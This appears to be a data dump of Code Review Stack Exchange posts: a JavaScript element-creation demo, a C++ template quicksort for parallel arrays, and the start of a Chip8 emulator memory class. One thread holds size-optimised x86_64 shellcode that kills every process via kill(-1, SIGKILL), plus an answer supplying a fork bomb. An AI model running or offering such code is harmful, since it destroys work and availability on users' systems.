body stringlengths 25 86.7k | comments list | answers list | meta_data dict | question_id stringlengths 1 6 |
|---|---|---|---|---|
<p>I've created a simple demo that creates new elements on a page. After clicking the button, new elements are created, and when clicking remove, the relevant element is deleted. Each element has a 'data-id' data attribute, which matches the id object property that's also created.</p>
<p>Check out the code on this page, or see this codepen demo I created: <a href="https://codepen.io/anon/pen/xMqodd" rel="nofollow noreferrer">https://codepen.io/anon/pen/xMqodd</a></p>
<p>I'm essentially looking for ways which this code can be improved. Could anyone advise me here? Thanks for any help - the code is below:</p>
<p>HTML:</p>
<pre><code><button id='btn' onclick='createEntry()'>Create</button>
<section id='container'></section>
</code></pre>
<p>CSS:</p>
<pre><code>button { display: block }
.entry {
width: 100%;
display: block;
padding: 10px;
border: 1px solid #f5f5f5;
}
span {
display: block;
width: 100%;
}
section { background: lightgreen }
</code></pre>
<p>JS:</p>
<pre><code>// note: beware of using eccessive nested functions as they can cause problems
var id = 0, objects = [], removes;
function createEntry() {
id++;
// create new element, append to #container & create new object
var container = document.querySelector('#container'),
newEntry = document.createElement("div"),
title = 'title text here',
description = 'description text here',
remove = 'remove',
dataId = id,
obj = new Entry(title, description, remove);
newEntry.classList.add("entry");
newEntry.innerHTML = '<span class="title">' + title + '</span><span class="description">' + description + '</span><span class="remove">' + remove + '</span>';
container.appendChild(newEntry);
newEntry.setAttribute('data-id', id);
updateElements();
// constructor & push into array
function Entry(title, description, remove) {
this.title = title;
this.description = description;
this.remove = remove;
this.id = id;
objects.push(this);
}
// tests
console.log('JSON.stringify(obj): ' + JSON.stringify(obj));
console.log('obj.id: ' + obj.id);
}
function updateElements() {
removes = document.querySelectorAll(".remove");
listenForRemoves();
function listenForRemoves() {
for (let remove of removes) {
remove.removeEventListener("click", removeElements);
remove.addEventListener("click", removeElements);
}
}
}
function removeElements() {
let removedId = this.parentNode.getAttribute('data-id'),
objToRemove = objects.find(obj => obj.id == removedId); // not used
this.parentNode.remove(); console.log('removed id ' + removedId);
console.log('objects before: '); for (let object of objects) { console.log(JSON.stringify(object))};
objects = objects.filter(obj => obj.id != removedId); // doesn't use objToRemove
console.log('objects now: '); for (let object of objects) { console.log(JSON.stringify(object))};
}
</code></pre>
| [] | [
{
"body": "<p>Not sure why you need an <em>id</em>, I think you can do the same without any id.</p>\n\n<p>Even the <em>Entity</em> object array is not clear why you need it.</p>\n\n<p>But the first point is to wrap up your code in a function, so you can contain it safely.</p>\n\n<p>So add a function that contains all the code and just design what you need to pass to that function and what you need to have as a public API from your module.</p>\n\n<p>Another point is about your html:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code> <button id='btn' onClick='createEnty()'>Create</button>\n <section id='container'></section>\n</code></pre>\n\n<p>You should do the bind on the javascript code instead. As you already provided an id for the button, you can easely access to the object and bind on the click event.</p>\n\n<p>So your module can be like so:</p>\n\n<pre><code>function MakeEntryModule(buttonSelector, containerSelector) {\n // code here\n\n // here the return object with the public methods\n return {\n myMethod: myFunction\n }\n}\n\n// then you can do so:\nvar entryModule = MakeEntryModule('#btn', '#container');\n</code></pre>\n\n<p>You can also use an anonymous function that is called directly:</p>\n\n<pre><code>var entryModule = (function(a,b){\n // code goes here\n})('#btn', '#container');\n</code></pre>\n\n<p>This is fine, but the previous is more clear when you have parameters.</p>\n\n<p>So here is a rewrite of your code:</p>\n\n<pre><code>function MakeEntryModule(buttonSelector, containerSelector) {\n // cache the container element to avoid \n // performing the search each time.\n var container = document.querySelector(containerSelector);\n\n // just pass title and description to the createEntry\n // function to be able to make it more generic.\n function createEntry(titleText, descriptionText) {\n var entry = document.createElement(\"div\");\n entry.classList.add(\"entry\");\n entry.appendChild(createSpan(\"title\", titleText));\n entry.appendChild(createSpan(\"description\", descriptionText));\n entry.appendChild(deleteButton(entry));\n\n container.appendChild(entry);\n }\n\n function createSpan(className, text) {\n var spn = document.createElement(\"span\");\n spn.classList.add(className);\n spn.appendChild(document.createTextNode(text));\n return spn;\n }\n\n // the delete element can be make so:\n function deleteButton(toDelete) {\n var btn = createSpan(\"remove\", \"remove\");\n var _listener = btn.addEventListener(\"click\", function () {\n btn.removeEventListener(\"click\", _listener);\n toDelete.remove();\n });\n\n return btn;\n }\n\n // here you bind your createEntry to the button\n var _listener = document.querySelector(buttonSelector)\n .addEventListener(\"click\", function () { \n createEntry(\"title text here\", \"description text here\");\n });\n\n // the only public API needed is the remove listener\n // to avoid memory leak\n return {\n removeListener: function () {\n document.removeEventListener(\"click\", _listener);\n }\n }\n}\n</code></pre>\n\n<p>You can even make it shorter using modern Javascript syntax:</p>\n\n<pre><code>function MakeEntryModule(buttonSelector, containerSelector) {\n const container = document.querySelector(containerSelector);\n\n function createEntry(titleText, descriptionText) {\n const entry = document.createElement(\"div\");\n entry.classList.add(\"entry\");\n entry.appendChild(createSpan(\"title\", titleText));\n entry.appendChild(createSpan(\"description\", descriptionText));\n entry.appendChild(deleteButton(entry));\n\n container.appendChild(entry);\n }\n\n function createSpan(className, text) {\n const spn = document.createElement(\"span\");\n spn.classList.add(className);\n spn.appendChild(document.createTextNode(text));\n return spn;\n }\n\n function deleteButton(toDelete) {\n const btn = createSpan(\"remove\", \"remove\");\n const _listener = btn.addEventListener(\"click\", () => {\n btn.removeEventListener(\"click\", _listener);\n toDelete.remove();\n });\n\n return btn;\n }\n\n const _listener = document.querySelector(buttonSelector)\n .addEventListener(\"click\", () => \n createEntry(\"title text here\", \"description text here\"));\n\n return {\n removeListener: () =>\n document.removeEventListener(\"click\", _listener)\n }\n}\n</code></pre>\n\n<p>You should use <em>const</em> and <em>let</em> instead of <em>var</em> if possible, use <em>var</em> only if you have browser compatibility requirements.</p>\n\n<p>About arrow functions, they are very compact and elegant, but use with carefull as they have a different behaviour compared with normal functions.</p>\n\n<p>They are good for event handlers as they bind the declaration context, with the \"correct\" <em>this</em> object scope.</p>\n\n<p>But they can drive to performance issues in some situations.</p>\n\n<p>I get rid of the <em>objects</em> array, if you really need you can add it without problem.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T22:33:43.893",
"Id": "411996",
"Score": "0",
"body": "very helpful tips here, thank you for your help!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T20:24:25.030",
"Id": "212715",
"ParentId": "212708",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "212715",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T16:56:22.373",
"Id": "212708",
"Score": "0",
"Tags": [
"javascript"
],
"Title": "Creating Simple New Elements, Object Instances and Assigning IDs"
} | 212708 |
<p>So I made a simple shellcode that will kill all your process.
Now I would like to know, can it be done in some better way?
It contains 13 bytes. Thanks for all your feedback</p>
<p><strong>Assembly:</strong></p>
<pre><code> global _start
section .text
_start:
xor rax, rax
add al, 0x3e
dec rdi
push 0x9
pop rsi
syscall
</code></pre>
<p><strong>Equivalent in C:</strong></p>
<pre><code>#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int) strlen(code));
int (*ret)() = (int(*)())code;
ret(0);
}
</code></pre>
| [] | [
{
"body": "<blockquote>\n <p>Now I would like to know, can it be done in some better way? It contains <strong>13</strong> bytes.</p>\n</blockquote>\n\n<p>From this I conclude that by <em>better</em> you mean <em>shorter</em>.</p>\n\n<p>You can easily bring this down to <strong>11</strong> bytes if you duplicate the method that was used to fill <code>RSI</code> for the setup of <code>RAX</code>.</p>\n\n<pre><code>push 0x3e\npop rax\ndec rdi\npush 0x9\npop rsi\nsyscall\n</code></pre>\n\n<hr>\n\n<p>The instruction <code>dec rdi</code> depends on the existing value of <code>RDI</code>.<br>\nIf you know that its lowest 32 bits are non-zero, then you can write <code>dec edi</code> instead, and lose the REX.W prefix. ( -> <strong>10</strong> bytes)</p>\n\n<pre><code>push 0x3e\npop rax\ndec edi\npush 0x9\npop rsi\nsyscall\n</code></pre>\n\n<hr>\n\n<p>But the most important improvement you can make is of course writing comments.\nFor now those numbers 0x3E and 0x09 are just <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">magic numbers</a>. What do they mean?\nThat's what everyone that reads your code is interested in knowing.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T16:00:10.430",
"Id": "412500",
"Score": "1",
"body": "thanks, 0x3e is a syscall for 'kill' , -1 <edi> is pid and 0x09 is sig #include <sys/types.h>\n #include <signal.h>\n\n int kill(pid_t pid, int sig);"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:35:15.683",
"Id": "212980",
"ParentId": "212709",
"Score": "4"
}
},
{
"body": "<p><code>strlen</code> is a poor choice to measure the size of a code block (which might contain embedded NULs):</p>\n\n<blockquote>\n<pre><code>unsigned char code[] = \n\"\\x48\\x31\\xc0\\x04\\x3e\\x48\\xff\\xcf\\x6a\\x09\\x5e\\x0f\\x05\";\n\nprintf(\"Shellcode Length: %d\\n\", (int) strlen(code));\n</code></pre>\n</blockquote>\n\n<p>Thankfully, we can use the <code>sizeof</code> operator, remembering to account for the added NUL:</p>\n\n<pre><code>const unsigned char code[] =\n \"\\x48\\x31\\xc0\\x04\\x3e\\x48\\xff\\xcf\\x6a\\x09\\x5e\\x0f\\x05\";\n\nprintf(\"Shellcode Length: %zu\\n\", (sizeof code) - 1);\n</code></pre>\n\n<p>Or ditch the string stuff entirely, then there's no need for the <code>-1</code> correction:</p>\n\n<pre><code>const unsigned char code[] =\n { 0x48, 0x31, 0xc0, 0x04, 0x3e,\n 0x48, 0xff, 0xcf, 0x6a, 0x09,\n 0x5e, 0x0f, 0x05 };\n\nprintf(\"Shellcode Length: %zu\\n\", sizeof code);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:03:39.707",
"Id": "212981",
"ParentId": "212709",
"Score": "2"
}
},
{
"body": "<h2>Line-by-line:</h2>\n\n<ul>\n<li><p><strong><code>xor rax, rax</code></strong></p>\n\n<p>The only time you should ever explicitly clear a 64-bit register by XORing it with itself is when you <em>want</em> the extra code size for alignment reasons. Otherwise, just write the XOR to operate on the 32-bit register; <a href=\"https://stackoverflow.com/questions/11177137/why-do-x86-64-instructions-on-32-bit-registers-zero-the-upper-part-of-the-full-6\">the upper 32 bits will be automatically zeroed</a>. Therefore, this should just be <code>xor eax, eax</code>. This saves you 1 byte (the <code>REX.W</code> prefix, <code>0x48</code>).</p></li>\n<li><p><strong><code>xor rax, rax\nadd al, 0x3e</code></strong></p>\n\n<p>This is an inefficient way of setting <code>RAX</code> to <code>0x3e</code>. The only reason you would ever want to do this is when you're optimizing strictly for code size; otherwise, you would just write <code>mov eax, 0x3e</code>. And if you're optimizing strictly for code size, you would be better off writing:</p>\n\n<pre><code>push 0x3e\npop rax\n</code></pre>\n\n<p>to save 1 byte.</p></li>\n<li><p><strong><code>dec rdi</code></strong></p>\n\n<p>As <a href=\"https://codereview.stackexchange.com/a/212980\">Fifoernik suggested</a>, if you know that you only care about the lower 32 bytes of the register, then you can replace this with <code>dec edi</code> to save 1 byte (the <code>REX.W</code> prefix). But this is a <em>risky</em> optimization, so undertake it only if you are certain that the preconditions are met, and <em>document it carefully</em>!</p>\n\n<p>Your code is making the assumption that <code>RDI</code> will be 0, and thus decrementing it will result in the value −1. That is a dangerous assumption. While <a href=\"https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/elf.h#L108\" rel=\"nofollow noreferrer\">the current Linux kernel does initialize all registers to 0 when launching an ELF binary</a>, this is <em>not</em> required by the ABI. <a href=\"https://github.com/hjl-tools/x86-psABI/wiki/x86-64-psABI-1.0.pdf\" rel=\"nofollow noreferrer\">The x86-64 ABI</a> guarantees only that <code>RSP</code> points to the stack and <code>RDX</code> is a function pointer that the application should register with <code>atexit</code> (see section 3.4.1: \"Initial Stack and Register State\"). Furthermore, you can only rely on the registers being zeroed at startup for a <em>statically-linked</em> executable; in a dynamically-linked executable, the dynamic linker gets called before <code>_start</code> is executed and leaves garbage in the registers.</p>\n\n<p>The safe, efficient, standard way to write this code would be <code>mov edi, -1</code>, but that is relatively large in terms of bytes.</p>\n\n<p>If you were optimizing for size above all else, you could do <code>push -1</code>+<code>pop rdi</code>, which is shorter but inefficient. A better option when optimizing for size would be <code>or edi, -1</code>. This is the same size as <code>push</code>+<code>pop</code> (3 bytes), but will be slightly faster. (It is still slower than a <code>mov</code> because it introduces a false dependency on the previous value of the source register; in this case, <code>edi</code>.)</p></li>\n<li><p><strong><code>push 0x9\npop rsi</code></strong></p>\n\n<p>Again, as before, this is an inefficient way of setting <code>RSI</code> to <code>0x9</code>. If you were not optimizing strictly for code size, you would be better (clearer and faster) to write <code>mov esi, 0x9</code>.</p></li>\n<li><p><strong><code>syscall</code></strong></p>\n\n<p>There is not much you can do with this instruction. You could use <code>int 0x80</code> instead, but that is the same size (2 bytes), and slower than <code>syscall</code>, so you might as well stick with <code>syscall</code>.</p></li>\n</ul>\n\n<h2>Big picture:</h2>\n\n<ul>\n<li><p><strong>Line up</strong> your code in vertical columns for ease of readability, like so:</p>\n\n<pre><code>xor rax, rax\nadd al, 0x3e\ndec rdi\npush 0x9\npop rsi\nsyscall\n</code></pre></li>\n<li><p>Introduce <strong>named constants</strong> in order to avoid the presence of <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">\"magic numbers\"</a> in your code. In Gnu syntax (which you appear to be using), a constant can be declared by using the <code>.set</code> directive, like so:</p>\n\n<pre><code>.set SYSCALL_KILL, 0x3e\n.set PROCESS_ID, -1\n.set SIGKILL, 0x9\n</code></pre>\n\n<p>(Or, equivalently, <code>.equ</code>, which matches the syntax used by other popular x86 assemblers.)</p>\n\n<p>Then, in your code, you would use these symbolic constants instead of the literals. The assembler will fold them so that exactly the same code is produced.</p>\n\n<p>As an alternative, you could use <code>.equiv</code>, which works just like <code>.set</code>/<code>.equ</code>, except that the assembler will raise an error if you try to redefine a symbol that is already defined. That can be a nice diagnostic to have in certain cases.</p></li>\n<li><p>Add <strong>descriptive comments</strong> to your code. Comments are always important in well-written code, but they're <em>especially</em> important when writing in assembly because the language is not self-documenting.</p>\n\n<p>A common convention in assembly is to write short summary comments out to the right of each instruction. If you have something longer to say (like an explanation of <em>why</em> you're doing something, or a warning about a potentially-dangerous assumption), write it in a paragraph on lines of its own above the relevant instructions.</p></li>\n</ul>\n\n<h2>Alternative:</h2>\n\n<p>If you want the <em>shortest possible</em> shellcode that will wreak havoc, consider a fork bomb:</p>\n\n<pre><code>global _start\nsection .text\n\n.equ SYSCALL_FORK, 0x02\n.equ INT_SYSCALL, 0x80\n\n_start:\n push SYSCALL_FORK\n pop rax ; rax <= fork() system call\n int INT_SYSCALL ; call kernel\n jmp _start ; loop back to beginning\n</code></pre>\n\n<p>That's only 6 bytes!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-16T07:03:36.047",
"Id": "213559",
"ParentId": "212709",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T18:58:21.633",
"Id": "212709",
"Score": "4",
"Tags": [
"c",
"assembly",
"x86",
"amd64"
],
"Title": "A simple shellcode that will kill all your processes GNU/Linux x86_64"
} | 212709 |
<p>I needed a function for sorting two corresponding arrays. So I wrote this code to sort N corresponding arrays!</p>
<p>The really "metaprogrammy" way to do it would be to use <code>std::sort</code> with a custom <code>zip_iterator</code>, but since <code>zip_iterator</code>'s <code>operator*</code> returns a "proxy reference" type which is not Regular, and <code>std::sort</code> doesn't seem to be guaranteed to work with non-Regular types, I decided it would be much safer to build my own quicksort from scratch.</p>
<p>My intent is that <code>flatmap_detail::sort_together(comparator, ctrs...)</code> should work for any <code>ctrs...</code> which meet the requirements of a random-access container. (So for example I can assume that <code>ctrs.begin()</code> and <code>ctrs.size()</code> both exist.) I also assume that the <code>value_type</code>s involved are all Regular, although perhaps move-only.</p>
<hr>
<pre><code>#include <utility> // for std::swap
namespace flatmap_detail {
template<class... Its>
void swap_together(size_t i, size_t j, Its... its)
{
using std::swap;
int dummy[] = {
[&](){
auto it = its + i;
auto jt = its + j;
using std::swap;
swap(*it, *jt);
return 0;
}() ...
};
(void)dummy;
}
template<class Predicate, class Head, class... Rest>
size_t partition_together(Predicate& pred, size_t left, size_t right, Head head, const Rest... rest) {
while (left < right) {
while (left != right && pred(*(head + left))) ++left;
while (left != right && !pred(*(head + (right-1)))) --right;
if (left + 1 < right) {
flatmap_detail::swap_together(left, right-1, head, rest...);
++left;
--right;
}
}
return right;
}
template<class Compare, class Head, class... Rest>
void sort_together(Compare& less, size_t left, size_t right, Head head, Rest... rest) {
if (right - left == 2) {
// I don't like this special case, but I don't want to pay for
// "swap, partition an array of length 1, swap back" in this
// common case. Can this special case be subsumed into the
// general case somehow without losing performance?
if (less(*(head + left), *(head + (left+1)))) {
// nothing to do
} else {
flatmap_detail::swap_together(left, left+1, head, rest...);
}
} else if (right - left >= 3) {
size_t pivot_idx = left + (right - left) / 2;
// Swap the pivot element all the way to the right.
if (pivot_idx != right - 1) {
flatmap_detail::swap_together(pivot_idx, right-1, head, rest...);
}
const auto& pivot_elt = *(head + (right-1));
auto less_than_pivot = [&](const auto& x) -> bool {
return less(x, pivot_elt);
};
size_t correct_pivot_idx = flatmap_detail::partition_together(less_than_pivot, left, right-1, head, rest...);
if (correct_pivot_idx != right-1) {
flatmap_detail::swap_together(correct_pivot_idx, right-1, head, rest...);
}
flatmap_detail::sort_together(less, left, correct_pivot_idx, head, rest...);
flatmap_detail::sort_together(less, correct_pivot_idx+1, right, head, rest...);
}
}
template<class Compare, class Head, class... Rest>
void sort_together(Compare less, Head& head, Rest&... rest) {
flatmap_detail::sort_together(less, 0, head.size(), head.begin(), rest.begin()...);
}
} // namespace flatmap_detail
</code></pre>
<hr>
<p>And here's the test harness I used to try to find the bugs (there were plenty, at first, but I can't find any more now). I know the harness code's style could be bikeshedded to death, so I'm not that interested in comments on its style; but if you see a class of inputs that I'm failing to test adequately, I'd definitely like to know about it.</p>
<pre><code>#include <algorithm>
#include <iostream>
#include <random>
#include <string>
#include <vector>
std::vector<int> iota_vector(int n) {
std::vector<int> result;
for (int i=0; i < n; ++i) result.emplace_back(i);
return result;
}
std::vector<int> random_vector(int n) {
std::vector<int> result;
static std::mt19937 g;
for (int i=0; i < n; ++i) result.emplace_back(g());
return result;
}
std::vector<int> a, b;
void print_vector(const std::string& who, const std::vector<int>& v) {
std::cout << who << ":";
for (int elt : v) {
std::cout << " " << elt;
}
std::cout << "\n";
}
void print_arrays(const std::string& when) {
std::cout << when << "\n";
print_vector(" a", a);
print_vector(" b", b);
}
int main()
{
for (int t=0; t < 1000; ++t) {
for (int n=0; n <= 200; ++n) {
auto oa = random_vector(n);
auto ob = iota_vector(n);
a = oa; b = ob;
flatmap_detail::sort_together(std::less<int>(), a, b);
if (!std::is_sorted(a.begin(), a.end(), std::less<int>())) {
print_arrays("FAILURE!");
exit(1);
}
for (int i=0; i < n; ++i) {
if (a[i] != oa[b[i]]) {
print_arrays("FAILURE!");
exit(1);
}
}
}
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-01-17T11:07:00.283",
"Id": "461623",
"Score": "0",
"body": "There is a lot of neat stuff going on there. 1 Question: What was your application for parallel vectors? I learnt a personal lesson decades ago that makes me recoil from parallel vectors. Instead of N vectors should it not be a vector of struct with N members (and an `operator<()` if required)? Also `quicksort` is nice but of course `std::sort` is better for a number of edge cases. So I wonder what motivated this, and would the suggested refactor to `vector<struct>` have been appropriate?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-01-17T20:56:38.100",
"Id": "461666",
"Score": "1",
"body": "My application was an implementation of [P0429 `flat_map`](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p0429r7.pdf), which is deliberately specified as a pair of vectors instead of a vector of pairs, for \"performance.\" The intuition is that when you search the keys vector, you don't want to waste cache lines loading values alongside them. (The counterargument: binary search is the epitome of a cache-unfriendly algorithm, and any attempt to make it \"more cache-friendly\" is dumb.) See [\"Contra `flat_map`\"](https://quuxplusone.github.io/blog/2019/01/29/contra-flat-map/) (Jan 2019)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-01-17T20:58:41.867",
"Id": "461667",
"Score": "0",
"body": "Cool. That makes sense. I mean the reason for `sort_together`. Not necessarily the \"optimisation\" it brings."
}
] | [
{
"body": "<p>Clean and readable code! Nice work.</p>\n\n<p>Here's some nitpicks.</p>\n\n<h1><code>swap_together</code></h1>\n\n<blockquote>\n<pre><code>template<class... Its>\nvoid swap_together(size_t i, size_t j, Its... its)\n{\n using std::swap;\n int dummy[] = {\n [&](){\n auto it = its + i;\n auto jt = its + j;\n using std::swap;\n swap(*it, *jt);\n return 0;\n }() ...\n };\n (void)dummy;\n}\n</code></pre>\n</blockquote>\n\n<p>Some observations:</p>\n\n<ul>\n<li><p>the redundant <code>using std::swap;</code> on the first line can be removed;</p></li>\n<li><p>we can use <code>std::iter_swap(a, b);</code> (requires <code>#include <algorithm></code>) instead of <code>using std::swap; swap(*a, *b);</code>;</p></li>\n<li><p>now all the lambda does is <code>std::iter_swap(its + i, its + j)</code>, which is an expression; and</p></li>\n<li><p><code>int[0]</code> is illegal, so the function should be modified trivially in order to handle the case of <code>sizeof...(Its) == 0</code>.</p></li>\n</ul>\n\n<p>I also like to express the requirement that <code>Its</code> are all random access iterators more explicitly. End result:</p>\n\n<pre><code>#include <algorithm>\n#include <cstddef>\n\ntemplate <class... RanIts>\nvoid swap_together(std::size_t i, std::size_t j, RanIts... its)\n{\n int arr[] = {0, ((void)(std::iter_swap(its + i, its + j)), 0)...};\n (void)arr;\n}\n</code></pre>\n\n<p>(The first cast to <code>void</code> is to prevent overloaded <code>operator,</code>.)</p>\n\n<p>This gets simpler in C++17, with fold expressions:</p>\n\n<pre><code>#include <algorithm>\n#include <cstddef>\n\ntemplate <class... RanIts>\nvoid swap_together(std::size_t i, std::size_t j, RanIts... its)\n{\n ((void)std::iter_swap(its + i, its + j), ...);\n}\n</code></pre>\n\n<h1><code>partition_together</code></h1>\n\n<blockquote>\n<pre><code>template<class Predicate, class Head, class... Rest>\nsize_t partition_together(Predicate& pred, size_t left, size_t right, Head head, const Rest... rest) {\n while (left < right) {\n while (left != right && pred(*(head + left))) ++left;\n while (left != right && !pred(*(head + (right-1)))) --right;\n if (left + 1 < right) {\n flatmap_detail::swap_together(left, right-1, head, rest...);\n ++left;\n --right;\n }\n }\n return right;\n}\n</code></pre>\n</blockquote>\n\n<p>We can use some standard algorithms from <code><algorithm></code> here:</p>\n\n<blockquote>\n<pre><code>while (left != right && pred(*(head + left))) ++left;\n</code></pre>\n</blockquote>\n\n<p>is equivalent to</p>\n\n<pre><code>left = std::find_if(head + left, head + right, pred) - head;\n</code></pre>\n\n<p>(There is a signed/unsigned mismatch here; you can add a cast or change the types of <code>left</code> and <code>right</code>.)</p>\n\n<blockquote>\n<pre><code>while (left != right && !pred(*(head + (right-1)))) --right;\n</code></pre>\n</blockquote>\n\n<p>is equivalent to</p>\n\n<pre><code>right = std::find_if_not(\n std::make_reverse_iterator(head + right),\n std::make_reverse_iterator(head + left),\n pred\n).base() - head;\n</code></pre>\n\n<p>(Yes, the interface of the STL algorithms is clumsy for complex use cases, but the intent is clearer.)</p>\n\n<p>Note that <code>left + 1</code> in the condition to <code>if</code> may be <code>end + 1</code> because the first nested <code>while</code> loop may set <code>left = end</code>. <code>right - left > 1</code> is safer. You can also use postfix increment and prefix decrement:</p>\n\n<pre><code>if (right - left > 1) {\n flatmap_detail::swap_together(left++, --right, rest...);\n}\n</code></pre>\n\n<h1><code>sort_together</code></h1>\n\n<p>In the majority of cases (size >= 3), two tests are performed: <code>right - left == 2</code> and <code>right - left >= 3</code>. Test for <code>>= 3</code> first.</p>\n\n<p>Instead of <code>if (...) { /* nothing to do */ } else</code>, use the negation operator:</p>\n\n<pre><code>if (!less(*(head + left), *(head + (left + 1)))) {\n flatmap_detail::swap_together(left, left + 1, head, rest...);\n}\n</code></pre>\n\n<p>The result of invoking a comparator should be <em>contextually converted</em> to <code>bool</code>; implicit conversion is not guaranteed to work. So insert a cast here:</p>\n\n<blockquote>\n<pre><code>auto less_than_pivot = [&](const auto& x) -> bool {\n return less(x, pivot_elt);\n};\n</code></pre>\n</blockquote>\n\n<p>I'm not sure about this:</p>\n\n<blockquote>\n<pre><code>// I don't like this special case, but I don't want to pay for\n// \"swap, partition an array of length 1, swap back\" in this\n// common case. Can this special case be subsumed into the\n// general case somehow without losing performance?\n</code></pre>\n</blockquote>\n\n<h1>Miscellaneous</h1>\n\n<ul>\n<li><p><code>std::size_t</code> instead of <code>size_t</code>. Also missing <code>#include <cstddef></code></p></li>\n<li><p>Standard algorithms take comparators and predicates by value. Your use of references here is probably to avoid copying them too many times around, but the user can choose to use <code>std::ref</code> to handle this.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-01-31T11:10:25.870",
"Id": "236465",
"ParentId": "212711",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-01T19:33:11.783",
"Id": "212711",
"Score": "9",
"Tags": [
"c++",
"reinventing-the-wheel",
"c++14",
"quick-sort"
],
"Title": "Quicksort template (for sorting corresponding arrays)"
} | 212711 |
<p>I am making a Chip8 emulator and I started out with making a class for handling the memory map. So main the execution will read from this memory object and write to it.</p>
<p><strong>/include/Chip8.h</strong></p>
<pre><code>#ifndef CHIP8_H
#define CHIP8_H
// File for keeping holding Chip8 system variables
#include <iostream>
#include <exception>
namespace chip8{
constexpr size_t MEM_SPACE = 0xFFF; // Const for denoting size of memory map
constexpr long PROG_START = 0x200; // Const for denoting start of Chip8 program
}
#endif // CHIP8_H
</code></pre>
<p><strong>/include/Memory.h</strong></p>
<pre><code>#ifndef CHIP8_MEMORY_H
#define CHIP8_MEMORY_H
#include <array>
#include <vector>
#include "Chip8.h"
namespace chip8{
class Memory{
public:
// Default constructor repurposed to initialize mem_ptr and ram values
Memory();
// Read a single byte starting at index location 'adr'
uint8_t read_byte(uint16_t adr);
// Read a two bytes, returned as a short, starting at index location 'adr'
uint16_t read_short(uint16_t adr);
// Read 'count' amount of bytes, returned as a vector of uint8_t, starting at index location adr
std::vector<uint8_t> read_bulk(uint16_t adr, uint16_t count);
// Store a single byte at the next available index location
void store_byte(uint8_t data);
// Store 'n' bytes, starting at the next available index location
// 'n' is the size of the input vector
void store_bulk(uint16_t adr, std::vector<uint8_t> data);
// Function to get mem pointer location
uint16_t get_memory_pointer();
protected:
private:
// Internal function used to validate addresses before accessing ram
void check_adr_(uint16_t adr);
// Internal function to set the memory pointer at an index in ram
// Protects the class from having a user modify the mem_ptr without reason
void set_memory_pointer_(uint16_t mem_ptr);
// Array of bytes to defined the memory map
std::array<uint8_t, MEM_SPACE> ram_;
// Used to keep track of where we are in the memory map
uint16_t mem_ptr_;
};
}
#endif // CHIP8_MEMORY_H
</code></pre>
<p><strong>/src/Memory.cpp</strong></p>
<pre><code>#include <vector>
#include <string>
#include <exception>
#include "../include/Memory.h"
#include "../include/Logger.h"
namespace chip8{
// Default constructor repurposed to initialize mem_ptr and ram values
Memory::Memory(){
ram_.fill(0);
mem_ptr_ = 0;
}
// Used to validate address range. Valid memory is only between 0 and size-1
void Memory::check_adr_(uint16_t adr){
if(adr < 0 || adr > MEM_SPACE - 1){
throw std::out_of_range("Address undefined in memory space");
}
}
// Internal function to set the memory pointer at an index in ram
// Protects the class from having a user modify the mem_ptr without reason
void Memory::set_memory_pointer_(uint16_t mem_ptr){
// Validate address range
check_adr_(mem_ptr);
mem_ptr_ = mem_ptr;
}
// Function to get mem pointer location
uint16_t Memory::get_memory_pointer(){
return mem_ptr_;
}
// Read a single byte starting at index location 'adr'
uint8_t Memory::read_byte(uint16_t adr){
// Validate address range
check_adr_(adr);
uint8_t data = ram_[adr];
// Debug message
util::LOG(LOGTYPE::DEBUG, "Read " + std::to_string(data) + " from address " + std::to_string(adr));
// Return byte
return data;
}
// Read a two bytes, returned as a short, starting at index location 'adr'
uint16_t Memory::read_short(uint16_t adr){
// Validate address range
check_adr_(adr);
// High byte is the one with the smaller address value (closer to 0)
uint16_t data = ( (ram_[adr] << 8)) | (ram_[adr+1] & 0xFF00);
util::LOG(LOGTYPE::DEBUG, "Read " + std::to_string(data) + " from address " + std::to_string(adr));
return data;
}
// Read 'count' amount of bytes, returned as a vector of uint8_t, starting at index location adr
std::vector<uint8_t> Memory::read_bulk(uint16_t adr, uint16_t count){
// Validate address range. Need to check start address and end address
// end address is start address + count
check_adr_(adr);
check_adr_(adr+count);
// Store 'count' amount of bytes for return starting at 'adr' in vector v
std::vector<uint8_t> data_list;
for(auto i = adr; i < count; ++i){
uint8_t data = this->read_byte(adr);
data_list.push_back(data);
}
return data_list;
}
// Store a single byte at the next available index location
void Memory::store_byte(uint8_t data){
// Validate address range so we can store a byte in RAM
check_adr_(mem_ptr_+1);
util::LOG(LOGTYPE::DEBUG, "Storing " + std::to_string(data) + " from address " + std::to_string(mem_ptr_));
